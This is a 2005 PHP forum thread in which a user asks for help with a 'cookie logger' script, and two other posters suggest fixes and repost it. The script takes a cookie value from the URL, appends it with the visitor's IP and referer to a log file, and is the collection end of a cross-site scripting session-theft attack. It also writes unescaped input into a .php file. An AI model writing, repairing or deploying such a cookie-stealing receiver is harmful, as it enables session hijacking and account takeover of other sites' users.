Page 1 of 1

Cookie logger help with bad code

Posted: Tue Jul 19, 2005 7:07 am
by johndoeS
im using the code to log cookies below

<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date=date("j F, Y, g:i a");
$referer=getenv ('HTTP_REFERER');
$fp = fopen('log.php', 'a');
fwrite($fp, 'Cookie: ' .$cookie. '<br> IP: ' .$ip. '<br> Date and Time: ' .$date. '<br> Referer: '.$referer.'<br><br><br>');
fclose($fp);
?>

it logs the ip data and cookie and the http referer to a file log.php

the problem is


Code: Select all

output:Cookie:---THE LOGGED COOKIE SHUD BE HERE--- <br> IP: localhost<br> Date and Time: 19 July, 2005, 8:08 am<br> Referer: http://website.com/forum_viewtopic.php?5.2.10<br><br><br>


all the other stuff like date,ip,time is being logged except the cookie

can anybody see error in the code causing this

thanks

Posted: Tue Jul 19, 2005 7:49 am
by choppsta
If I understand correctly, you're getting your cookie value from $_GET['c']. This is the value of a variable called 'c' supplied in the query string of the request (e.g. page.php?c=value).

I think what you need is to access the cookie value from the $_COOKIE super global array (e.g. $cookie = $_COOKIE['c']; ).

Posted: Tue Jul 19, 2005 2:54 pm
by Ambush Commander
Cut 'n paste:

Code: Select all

<?php
$cookie = $_COOKIE['c'];
$ip = getenv ('REMOTE_ADDR');
$date=date("j F, Y, g:i a");
$referer=getenv ('HTTP_REFERER');
$fp = fopen('log.php', 'a');
fwrite($fp, 'Cookie: ' .$cookie. '<br> IP: ' .$ip. '<br> Date and Time: ' .$date. '<br> Referer: '.$referer.'<br><br><br>');
fclose($fp);
?>
Use

Code: Select all

 tags when posting, hmm.